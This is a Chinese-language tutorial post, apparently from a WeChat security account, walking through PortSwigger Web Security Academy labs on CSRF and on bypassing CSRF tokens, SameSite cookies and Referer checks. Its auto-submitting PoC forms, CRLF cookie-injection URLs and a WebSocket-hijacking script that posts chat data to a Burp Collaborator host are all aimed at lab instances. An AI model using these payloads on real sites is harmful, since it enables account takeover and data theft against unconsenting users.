现在只对常读和星标的公众号才展示大图推送，建议大家能把渗透安全团队“设为星标”，否则可能就看不到了啦！
导读：
一、跨站点请求伪造（CSRF）
1、简述：
2、影响：
3、原理：
1、一个操作行动。应用程序中存在攻击者有理由引发的操作。这可能是一个特权操作（如修改其他用户的权限），也可能是对用户特定数据的任何操作（如更改用户自己的密码）。
2、基于Cookie的会话处理。执行操作涉及发出一个或多个HTTP请求，应用程序仅依赖会话cookie来识别发出请求的用户。没有其他机制可用于跟踪会话或验证用户请求。
3、没有不可预测的请求参数。执行操作的请求不包含任何攻击者无法确定或猜测其值的参数。例如，当使用户更改其密码时，如果攻击者需要知道现有密码的值，则函数不容易受到攻击。
1、某个应用程序包含允许用户更改其帐户上的电子邮件地址的功能。当用户执行此操作时，会发出如下所示的HTTP请求：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
[email protected]
2、这符合CSRF要求的条件：
攻击者会对更改用户帐户上的电子邮件地址的操作感兴趣。在此操作之后，攻击者通常能够触发密码重置并完全控制用户帐户。
应用程序使用会话cookie来标识发出请求的用户。没有其他令牌或机制来跟踪用户会话。
攻击者可以轻松确定执行操作所需的请求参数值。
3、具备这些条件后，攻击者可以构建包含以下HTML的网页：
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
4、 如果受影响用户访问攻击者的网页，则会发生以下情况：
攻击者的页面将触发对易受攻击网站的HTTP请求。
如果用户登录到易受攻击的网站，其浏览器将自动在请求中包含其会话Cookie（假设未使用SameSite Cookie）。
易受攻击的网站将以正常方式处理请求，将其视为受害用户发出的请求，并更改其电子邮件地址
4、构造CSRF攻击
1、在Burp Suite Professional中的任意位置选择您想要测试或利用的请求。
2、从右键单击上下文菜单中，选择参与度工具/生成CSRF PoC。
3、Burp Suite将生成一些HTML来触发选定的请求（不包括cookie，它将由受害者的浏览器自动添加）。
4、可以调整CSRF PoC生成器中的各种选项来微调攻击的各个方面。在一些不寻常的情况下，您可能需要这样做，以处理请求的古怪特性。
5、将生成的HTML复制到网页中，在已登录到易受攻击网站的浏览器中查看该网页，并测试是否成功发出预期请求以及是否发生所需操作。
实验1：无防御的CSRF漏洞
5、利用CSRF
跨站点脚本（XSS）使得攻击者能够在受害用户的浏览器中执行任意JavaScript。
跨站点请求伪造（CSRF）使攻击者能够诱使受害用户执行他们不希望执行的操作。XSS漏洞的后果通常比CSRF漏洞更严重：
1、CSRF通常只适用于用户能够执行的操作的子集。许多应用程序通常实现CSRF防御，但忽略了一个或两个暴露的操作。相反，成功的XSS漏洞利用通常可诱使用户执行该用户能够执行的任何动作，而不管漏洞产生于何种功能。
2、CSRF可以描述为“单向”漏洞，因为虽然攻击者可以诱使受害者发出HTTP请求，但他们无法检索该请求的响应。相反，XSS是“双向的”，因为攻击者注入的脚本可以发出任意请求，读取响应，并将数据泄漏到攻击者选择的外部域
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>1、假设易受攻击的函数包含CSRF令牌：
https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>
2、假设服务器正确地验证了CSRF令牌，并拒绝了没有有效令牌的请求，那么该令牌确实可以防止利用XSS漏洞。线索就在名字里：“跨站脚本”至少在其反射形式中涉及跨站请求。通过防止攻击者伪造跨站点请求，应用程序防止了对XSS漏洞的轻微攻击。
3、重要的警告：
1、如果反射的XSS漏洞存在于站点上不受CSRF令牌保护的函数中的任何其他地方，则可以通过正常方式利用该XSS。
2、如果可利用的XSS漏洞存在于站点上的任何位置，则可以利用该漏洞使受害用户执行操作，即使这些操作本身受到CSRF令牌的保护。在这种情况下，攻击者的脚本可以请求相关页获取有效的CSRF令牌，然后使用该令牌执行受保护的操作。
3、CSRF令牌无法防止 存储XSS脆弱性。如果受CSRF标记保护的页也是 存储XSS漏洞，则可以通过通常的方式利用该XSS漏洞，并且XSS有效负载将在用户访问该页面时执行。
6、针对CSRF的常见防御措施
1、CSRF令牌-CSRF令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。尝试执行敏感操作（如提交表单）时，客户端必须在请求中包含正确的CSRF令牌。这使得攻击者很难代表受害者构造有效的请求。
2、SameSite cookies- SameSite是一种浏览器安全机制，用于确定何时将网站的cookies包含在源自其他网站的请求中。由于执行敏感操作的请求通常需要经过身份验证的会话Cookie，因此适当的SameSite限制可以防止攻击者跨站点触发这些操作。
3、基于Referer的验证--一些应用程序利用HTTP Referer头来尝试防御CSRF攻击，通常是通过验证请求是否来自应用程序自己的域。这通常不如CSRF令牌验证有效。
二、绕过CSRF令牌验证
1、CSRF令牌
1、与客户端共享CSRF令牌的常见方法是将它们作为隐藏参数包含在HTML表单中，例如：
<form name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="[email protected]">
<input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
<button class='button' type='submit'> Update email </button>
</form>
2、提交此表单将导致以下请求：
POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&[email protected]
2、CSRF令牌的验证取决于请求方法
在这种情况下，攻击者可以切换到GET方法来绕过验证并发起CSRF攻击：
GET /email/[email protected] HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
实验2：令牌验证取决于请求方法的CSRF
3、CSRF令牌的验证取决于令牌是否存在
在这种情况下，攻击者可以删除包含令牌的整个参数（而不仅仅是其值）以绕过验证并发起CSRF攻击：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
[email protected]
实验3：CSRF，其中令牌验证取决于令牌是否存在
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a70004303bfec8dc05f4f8d007a00e7.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="333333@qq.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
4、CSRF令牌未绑定到用户会话
实验4：令牌未绑定到用户会话的CSRF
Z4wM1sCQzcxsKeoFxdbE2fNHUkUjoq8O
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a4100cf032ba6dbc3d33da90039005e.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="111111@qq.com" />
<input type="hidden" name="csrf" value="sjGB2t7bA43mWMx6JQezFiBW2BJkty1k" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
5、CSRF令牌绑定到非会话Cookie
1、当应用程序使用两个不同的框架时，这很容易发生，一个用于会话处理，一个用于CSRF保护，这两个框架没有集成在一起：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]
实验5：令牌绑定到非会话cookie的CSRF
/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
我的是：
/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
我的是：
<img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=rFry4XfZMtkztI9YU4EERewPSwACRrLT%3b%20SameSite=None" onerror="document.forms[0].submit()">
<img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None" onerror="document.forms[0].submit()"><html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="333333@qq.com" />
<input type="hidden" name="csrf" value="rFry4XfZMtkztI9YU4EERewPSwACRrLT" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
换完后：
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="333333@qq.com" />
<input type="hidden" name="csrf" value="rFry4XfZMtkztI9YU4EERewPSwACRrLT" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
6、CSRF令牌只是在Cookie中复制
这有时被称为针对CSRF的“双重提交”防御，因为它易于实现，并且不需要任何服务器端状态：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]
实验6：标记在Cookie中重复的CSRF
/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="333333@qq.com" />
<input type="hidden" name="csrf" value="fake" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html><img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
我的是：
<img src="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/><html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="333333@qq.com" />
<input type="hidden" name="csrf" value="fake" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>
三、绕过SameSite Cookie限制
1、简述：
2、SameSite Cookie的上下文中、网站
3、站点和源之间的区别
3、SameSite工作原理
Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict
1、严格
如果cookie设置为SameSite=Strict属性，浏览器将不会在任何跨站点请求中发送它。简而言之，这意味着如果请求的目标站点与浏览器地址栏中当前显示的站点不匹配，则不会包含Cookie。
建议在设置Cookie以使承载者能够修改数据或执行其他敏感操作（例如访问仅对经过身份验证的用户可用的特定页面）时使用此选项。
尽管这是最安全的选项，但在需要跨站点功能的情况下，它可能会对用户体验产生负面影响。
2、松弛
不严格的SameSite限制意味着浏览器将在跨站点请求中发送Cookie，但前提是同时满足以下两个条件：
请求使用GET方法。
请求是由用户的顶级导航（如单击链接）产生的。
这意味着Cookie不包括在跨站点 后例如请求。作为 后请求通常用于执行修改数据或状态的操作（至少根据最佳实践），因此它们更有可能成为CSRF攻击的目标。
同样，Cookie也不包含在后台请求中，例如由脚本、iframe或对图像和其他资源的引用发起的请求。
3、无
如果使用SameSite=None属性设置Cookie，则无论使用何种浏览器，都将有效地禁用SameSite限制。因此，浏览器将在所有请求中向发出此cookie的网站发送此cookie，即使是由完全无关的第三方网站触发的请求。
除Chrome外，这是主要浏览器的默认行为，如果没有 相同站点属性在设置Cookie时提供。
禁用SameSite是有正当理由的，例如，当cookie旨在从第三方上下文使用，并且不授予承载者对任何敏感数据或功能的访问权限时。跟踪cookie就是一个典型的例子。
如果遇到设置为SameSite=None或没有显式限制的cookie，则值得调查它是否有用。当Chrome首次采用“默认松弛”行为时，它的副作用是破坏了许多现有的网络功能。作为一个快速的解决方案，一些网站选择简单地禁用所有Cookie上的SameSite限制，包括可能敏感的Cookie。
使用设置Cookie时 相同站点=无 ，网站还必须包括 安全属性，该属性确保仅通过HTTPS在加密消息中发送Cookie。否则，浏览器将拒绝Cookie，并且不会设置Cookie。
Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure
4、使用GET请求绕过SameSite Lax限制
只要请求涉及顶级导航，浏览器仍将包含受害者的会话cookie。以下是发起此类攻击的最简单方法之一：
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>例如，Symfony支持表单中的_method参数，该参数优先于用于路由目的的普通方法：
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="recipient" value="hacker">
<input type="hidden" name="amount" value="1000000">
</form>
实验7：通过方法覆盖绕过SameSite Lax
GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1
以下是一种可能的方法：
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/[email protected]&_method=POST";
</script>
我的是：
<script>
document.location = "https://0ada004903795585c000272900bb00fe.web-security-academy.net/my-account/[email protected]&_method=POST";
</script>
5、使用现场小工具绕过SameSite限制
5、服务器端重定向不可能进行等效攻击。在这种情况下，浏览器会识别出跟随重定向的请求最初是由跨站点请求引起的，因此它们仍然会应用适当的Cookie限制。
实验8：通过客户端重定向绕过SameSite Strict
/post/comment/confirmation?postId=1/../../my-account
以下是一种可能的方法：
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>
我的是：
<script>
document.location = "https://0a2000fb033590aec1de715a0082005b.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
我的是：
<script>
document.location = "https://0a2000fb033590aec1de715a0082005b.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
6、通过易受攻击的同级域绕过SameSite限制
实验9：通过兄弟域严格绕过SameSite
fk3ogs2u3x8d3mfm0lw9gaglkcq2er.burpcollaborator.net<script>
var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
我的是：
<script>
var ws = new WebSocket('wss://0a0b005204975a91c040c25f005e0071.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://fk3ogs2u3x8d3mfm0lw9gaglkcq2er.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
https://cms-0a0b005204975a91c040c25f005e0071.web-security-academy.net<script>alert(1)</script>http://burp/show/3/wxagw5m9uqkkr2jbvtded0uy2tqww68s
<script>
var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
我的是：
<script>
var ws = new WebSocket('wss://0a0b005204975a91c040c25f005e0071.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://au8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>%3Cscript%3E%0A%20%20%20%20var%20ws%20%3D%20new%20WebSocket('wss%3A%2F%2F0a0b005204975a91c040c25f005e0071.web-security-academy.net%2Fchat')%3B%0A%20%20%20%20ws.onopen%20%3D%20function()%20%7B%0A%20%20%20%20%20%20%20%20ws.send(%22READY%22)%3B%0A%20%20%20%20%7D%3B%0A%20%20%20%20ws.onmessage%20%3D%20function(event)%20%7B%0A%20%20%20%20%20%20%20%20fetch('https%3A%2F%2Fau8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net'%2C%20%7Bmethod%3A%20'POST'%2C%20mode%3A%20'no-cors'%2C%20body%3A%20event.data%7D)%3B%0A%20%20%20%20%7D%3B%0A%3C%2Fscript%3E<script>
document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything";
</script>
我的是：
<script>
document.location = "https://cms-0a0b005204975a91c040c25f005e0071.web-security-academy.net/login?username=%3Cscript%3E%0A%20%20%20%20var%20ws%20%3D%20new%20WebSocket('wss%3A%2F%2F0a0b005204975a91c040c25f005e0071.web-security-academy.net%2Fchat')%3B%0A%20%20%20%20ws.onopen%20%3D%20function()%20%7B%0A%20%20%20%20%20%20%20%20ws.send(%22READY%22)%3B%0A%20%20%20%20%7D%3B%0A%20%20%20%20ws.onmessage%20%3D%20function(event)%20%7B%0A%20%20%20%20%20%20%20%20fetch('https%3A%2F%2Fau8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net'%2C%20%7Bmethod%3A%20'POST'%2C%20mode%3A%20'no-cors'%2C%20body%3A%20event.data%7D)%3B%0A%20%20%20%20%7D%3B%0A%3C%2Fscript%3E&password=anything";
</script>
7、使用新发布的Cookie绕过SameSite Lax限制
如默认情况下，浏览器将阻止以下弹出窗口：
window.open('https://vulnerable-website.com/login/sso');
若要解决此问题，可以将语句包装在onclick事件处理程序中，如下所示：
window.onclick =()=> {
window.open('https://vulnerable-website.com/login/sso');
}
这样， window.open()方法只有在用户单击页面上的某个位置时才会被调用。
实验10：通过cookie刷新绕过SameSite Lax
<script>
history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
我的是：
<script>
history.pushState('', '', '/')
</script>
<form action="https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>接下来会发生什么取决于自登录以来所经过的时间：
1、如果超过两分钟，将通过OAuth流登录，攻击将失败。在这种情况下，请立即重复此步骤。
2、如果在不到两分钟前登录，则攻击成功，电子邮件地址已更改。
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
我的是：
<form method="POST" action="https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
window.open('https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
四、绕过基于引用的CSRF防御
1、简述：
2、引用方的验证取决于是否存在标头
有多种方法可以实现这一点，但最简单的方法是在承载 CSRF攻击：
<meta name="referrer" content="never">
实验11：CSRF，其中Referer验证取决于是否存在标头
<meta name="referrer" content="no-referrer"><meta name="referrer" content="no-referrer">
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0ade00340423eac1c0e745e900c40005.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="Cookie: session" value="vnfo6JaZrfEqBxULoEnwjJiA9YGwtd2g" />
<input type="hidden" name="Upgrade-Insecure-Requests: 1" value="" />
<input type="hidden" name="Sec-Fetch-Dest: document" value="" />
<input type="hidden" name="Sec-Fetch-Mode: navigate" value="" />
<input type="hidden" name="Sec-Fetch-Site: same-origin" value="" />
<input type="hidden" name="Sec-Fetch-User: ?1" value="" />
<input type="hidden" name="email" value="111111@qq.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
3、可以绕过引用方的验证
1、如应用程序验证Referer以预期值开始，则攻击者可以将其作为自己域的子域：
http://vulnerable-website.com.attacker-website.com/csrf-attack
2、如果应用程序只是验证Referer包含其自己的域名，则攻击者可以将所需的值放在URL中的其他位置：
http://attacker-website.com/csrf-attack?vulnerable-website.com
实验12：引用方验证中断的CSRF
Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
我的是：
Referer: https://arbitrary-incorrect-domain.net?0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="111111@qq.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net")
我的是：
history.pushState("", "", "/?https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net")CSRF完整poc：
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="111111@qq.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/?https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>加到"Head"部分：
Referrer-Policy: unsafe-url
（注意，与普通的Referer头不同）
欢 迎 加 入 星 球 ！
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么？赶紧点击下方名片关注学习吧！
推荐阅读
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论